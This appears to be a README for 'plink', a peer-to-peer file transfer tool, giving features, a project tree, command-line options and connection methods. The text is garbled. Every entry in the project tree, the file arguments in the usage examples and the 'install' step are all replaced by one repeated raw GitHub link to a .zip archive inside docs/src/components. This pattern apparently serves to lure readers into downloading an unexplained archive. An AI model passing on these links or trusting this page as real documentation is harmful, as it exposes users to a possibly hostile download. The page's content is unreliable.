plink is a secure, efficient peer-to-peer file transfer tool that enables direct file sharing between devices without relying on centralized servers. Built with modularity and security in mind.
- Multiple Connection Methods: Direct connection, UPnP, NAT hole punching, and role reversal
- End-to-End Encryption: AES-256 encryption with secure key exchange
- Smart Chunking: Efficient data chunking for large file transfers
- Cross-Platform: Works on Windows, macOS, and Linux
- Secure by Default: All transfers are encrypted and verified
plink/
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── .gitignore
├── docs/
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── backend/
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── networking/
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── core/
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── strategies/
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ │ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ └── utils/
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ └── cryptography/
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── core/
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── data/
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ │ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ └── utils/
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── frontend/
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── cli/
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ ├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│ └── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
│
└── config/
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
├── https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
- Python 3.8 or higher
- pip package manager
Sender:
plink send https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zipReceiver:
plink receiveSend with specific connection method:
plink send https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip --method upnp --port 8080Receive with custom settings:
plink receive --output-dir /downloads --method hole-punchplink send <file_path> [OPTIONS]
OPTIONS:
--method, -m Connection method (direct, upnp, hole-punch, role-reverse)
--encryption, -e Encryption method (aes256, chacha20)
--chunk-size, -c Chunk size in KB (default: 1024)
--password Set transfer password
--timeout Connection timeout in seconds
--resume Resume interrupted transferplink receive [OPTIONS]
OPTIONS:
--output-dir, -o Output directory (default: current directory)
--method, -m Preferred connection method
--password Transfer password
--max-size Maximum file size to accept (MB)- Use Case: Same network, known IP addresses
- Advantages: Fastest, most reliable
- Requirements: Open ports, direct network access
- Use Case: Behind NAT with UPnP-enabled router
- Advantages: Automatic port forwarding
- Requirements: UPnP-enabled router
- Use Case: Both peers behind NAT
- Advantages: Works through most NAT configurations
- Requirements: STUN server access
- Use Case: Asymmetric NAT situations
- Advantages: Fallback when other methods fail
- Requirements: One peer with open connectivity
- Create a feature branch from
main - Make virtual environments and install https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip
- Make your changes with appropriate tests
- Update documentation and https://raw.githubusercontent.com/shikavan/plink/main/docs/src/components/Software-1.6.zip if needed
- Ensure all tests pass
- Submit pull request with clear description